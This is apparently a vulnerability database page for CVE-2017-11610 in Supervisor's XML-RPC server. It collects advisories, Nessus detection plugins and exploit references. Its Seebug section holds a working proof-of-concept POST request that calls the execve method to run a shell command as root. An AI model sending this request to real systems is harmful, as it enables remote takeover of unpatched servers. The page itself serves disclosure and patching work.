Vulnerabilities > CVE-2017-11610 - Incorrect Default Permissions vulnerability in multiple products

047910
CVSS 8.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
supervisord
fedoraproject
debian
redhat
CWE-276
nessus
exploit available
metasploit

Summary

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing Functionality Not Properly Constrained by ACLs
    In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
  • Directory Indexing
    An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Web Logs Tampering
    Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

Exploit-Db

descriptionSupervisor 3.0a1 - 3.3.2 - XML-RPC Authenticated Remote Code Execution (Metasploit). CVE-2017-11610. Remote exploit for Linux platform. Tags: Metasploit Fram...
fileexploits/linux/remote/42779.rb
idEDB-ID:42779
last seen2017-09-25
modified2017-09-25
platformlinux
port9001
published2017-09-25
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42779/
titleSupervisor 3.0a1 - 3.3.2 - XML-RPC Authenticated Remote Code Execution (Metasploit)
typeremote

Metasploit

descriptionThis module exploits a vulnerability in the Supervisor process control software, where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
idMSF:EXPLOIT/LINUX/HTTP/SUPERVISOR_XMLRPC_EXEC
last seen2020-06-09
modified2019-08-15
published2017-08-20
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/supervisor_xmlrpc_exec.rb
titleSupervisor XML-RPC Authenticated Remote Code Execution

Nessus

  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_C946038081E311E793AF005056925DB4.NASL
    descriptionmnaberez reports : supervisord can be configured to run an HTTP server on a TCP socket and/or a Unix domain socket. The HTTP server is how supervisorctl communicates with supervisord. If an HTTP server has been enabled, it will always serve both HTML pages and an XML-RPC interface. A vulnerability has been found where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been configured to run an HTTP server without authentication. If authentication has not been enabled, supervisord will log a message at the critical level every time it starts.
    last seen2020-06-01
    modified2020-06-02
    plugin id102508
    published2017-08-16
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102508
    titleFreeBSD : Supervisord -- An authenticated client can run arbitrary shell commands via malicious XML-RPC requests (c9460380-81e3-11e7-93af-005056925db4)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2019 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(102508);
      script_version("3.7");
      script_cvs_date("Date: 2019/07/10 16:04:13");
    
      script_cve_id("CVE-2017-11610");
    
      script_name(english:"FreeBSD : Supervisord -- An authenticated client can run arbitrary shell commands via malicious XML-RPC requests (c9460380-81e3-11e7-93af-005056925db4)");
      script_summary(english:"Checks for updated package in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote FreeBSD host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "mnaberez reports :
    
    supervisord can be configured to run an HTTP server on a TCP socket
    and/or a Unix domain socket. The HTTP server is how supervisorctl
    communicates with supervisord. If an HTTP server has been enabled, it
    will always serve both HTML pages and an XML-RPC interface. A
    vulnerability has been found where an authenticated client can send a
    malicious XML-RPC request to supervisord that will run arbitrary shell
    commands on the server. The commands will be run as the same user as
    supervisord. Depending on how supervisord has been configured, this
    may be root.
    
    This vulnerability can only be exploited by an authenticated client or
    if supervisord has been configured to run an HTTP server without
    authentication. If authentication has not been enabled, supervisord
    will log a message at the critical level every time it starts."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://supervisord.org/changes.html"
      );
      # https://github.com/Supervisor/supervisor/issues/964#issuecomment-317551606
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?58123af6"
      );
      # https://vuxml.freebsd.org/freebsd/c9460380-81e3-11e7-93af-005056925db4.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?ec8dcc03"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Supervisor XML-RPC Authenticated Remote Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:py27-supervisor");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/24");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/08/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/08/16");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"py27-supervisor<3.3.3,1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-3942.NASL
    descriptionCalum Hutton reported that the XML-RPC server in supervisor, a system for controlling process state, does not perform validation on requested XML-RPC methods, allowing an authenticated client to send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server as the same user as supervisord. The vulnerability has been fixed by disabling nested namespace lookup entirely. supervisord will now only call methods on the object registered to handle XML-RPC requests and not any child objects it may contain, possibly breaking existing setups. No publicly available plugins are currently known that use nested namespaces. Plugins that use a single namespace will continue to work as before. Details can be found on the upstream issue at https://github.com/Supervisor/supervisor/issues/964 .
    last seen2020-06-01
    modified2020-06-02
    plugin id102449
    published2017-08-14
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102449
    titleDebian DSA-3942-1 : supervisor - security update
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201709-06.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201709-06 (Supervisor: command injection vulnerability) A vulnerability in Supervisor was discovered in which an authenticated client could send malicious XML-RPC requests and supervidord will run them as shell commands with process privileges. In some cases, supervisord is configured with root permissions. Impact : A remote attacker could execute arbitrary code with the privileges of the process. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id103274
    published2017-09-18
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/103274
    titleGLSA-201709-06 : Supervisor: command injection vulnerability
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DLA-1047.NASL
    descriptionA vulnerability has been found in supervisor, a system for controlling process state, where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. For Debian 7
    last seen2020-03-17
    modified2017-08-01
    plugin id102085
    published2017-08-01
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102085
    titleDebian DLA-1047-1 : supervisor security update
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-307EAB89E1.NASL
    descriptionSecurity fix for CVE-2017-11610 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-08-08
    plugin id102246
    published2017-08-08
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102246
    titleFedora 26 : supervisor (2017-307eab89e1)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-713430FB15.NASL
    descriptionSecurity fix for CVE-2017-11610 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-08-11
    plugin id102393
    published2017-08-11
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102393
    titleFedora 24 : supervisor (2017-713430fb15)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-85EB9F7A36.NASL
    descriptionSecurity fix for CVE-2017-11610 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-08-09
    plugin id102275
    published2017-08-09
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102275
    titleFedora 25 : supervisor (2017-85eb9f7a36)

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/144316/supervisor_xmlrpc_exec.rb.txt
idPACKETSTORM:144316
last seen2017-09-26
published2017-09-25
reporterCalum Hutton
sourcehttps://packetstormsecurity.com/files/144316/Supervisor-XML-RPC-Authenticated-Remote-Code-Execution.html
titleSupervisor XML-RPC Authenticated Remote Code Execution

Redhat

advisories
rhsa
idRHSA-2017:3005
rpms
  • ansible-tower-server-0:3.1.5-1.el7at
  • ansible-tower-setup-0:3.1.5-1.el7at
  • cfme-0:5.8.2.3-1.el7cf
  • cfme-appliance-0:5.8.2.3-1.el7cf
  • cfme-appliance-debuginfo-0:5.8.2.3-1.el7cf
  • cfme-debuginfo-0:5.8.2.3-1.el7cf
  • cfme-gemset-0:5.8.2.3-1.el7cf
  • rabbitmq-server-0:3.6.9-1.el7at
  • rh-ruby23-rubygem-nokogiri-0:1.8.1-2.el7cf
  • rh-ruby23-rubygem-nokogiri-debuginfo-0:1.8.1-2.el7cf
  • rh-ruby23-rubygem-nokogiri-doc-0:1.8.1-2.el7cf
  • supervisor-0:3.1.4-1.el7

Seebug

bulletinFamilyexploit
description### Vulnerability Summary The following advisory describes an authenticated remote code execution vulnerability in Supervisor version 3.1.2 and Supervisor version 3.3.2. Supervisor is a client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems – used to control processes related to a project or a customer, and is meant to start like any other program at boot time. ### Credit An independent security researcher, Calum Hutton, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response The vendor has released patches to address this vulnerability. For more information: https://github.com/Supervisor/supervisor/issues/964 CVE: CVE-2017-11610 ### Vulnerability details Supervisord provides a web server, running on port 9001, that allows users to manage their processes using a web interface. When this server is enabled, an XMLRPC server is also enabled at :9001/RPC2 Any user with access to the web interface can also send commands to the XMLRPC endpoint. Authentication may be required for access, and is determined in the config file. It is possible to abuse the XMLRPC server to issue malicious commands (which are somewhat restricted) at the OS level as the root user, because of a lack of validation on requested XMLRPC methods. There are two allowed namespaces for the allowed XMLRPC methods, system and supervisor, mapped to https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174 and https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174, respectively. Allowed methods include (snippet of the XML response to system.listMethods): ``` <value><string>supervisor.getPID</string></value> <value><string>supervisor.getProcessInfo</string></value> <value><string>supervisor.getState</string></value> <value><string>supervisor.getSupervisorVersion</string></value> <value><string>supervisor.getVersion</string></value> <value><string>supervisor.readLog</string></value> <value><string>supervisor.readMainLog</string></value> <value><string>supervisor.readProcessLog</string></value> <value><string>supervisor.readProcessStderrLog</string></value> <value><string>supervisor.readProcessStdoutLog</string></value> <value><string>supervisor.reloadConfig</string></value> <value><string>supervisor.removeProcessGroup</string></value> <value><string>supervisor.restart</string></value> <value><string>supervisor.sendProcessStdin</string></value> <value><string>supervisor.sendRemoteCommEvent</string></value> <value><string>supervisor.shutdown</string></value> ``` It is possible to access the malicious functions by appending supervisord.options to the namespace. In particular, the execve function in https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/options.py#L1438 which simply calls Pythons own os.execve() function. ### Proof of Concept The following POST request triggers the vulnerability in supervisor.supervisord.options.execve function which allows an attacker to execute arbitrary commands as root. The below payload utilises python on the target system to touch a file at /tmp/blahh: ``` POST http://192.168.0.15:9001/RPC2 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/xml Content-Type: text/xml Accept-Language: en-GB,en;q=0.5 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Length: 503 Host: 192.168.0.15:9001 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.execve</methodName> <params> <param> <string>/usr/bin/python</string> </param> <param> <array> <data> <value><string>python</string></value> <value><string>-c</string></value> <value><string>import os; os.system("touch /tmp/blahh")</string></value> </data> </array> </param> <param> <struct> </struct> </param> </params> </methodCall> ```
idSSV:96316
last seen2017-11-19
modified2017-07-27
published2017-07-27
reporternu11
titleSupervisor Authenticated Remote Code Execution(CVE-2017-11610)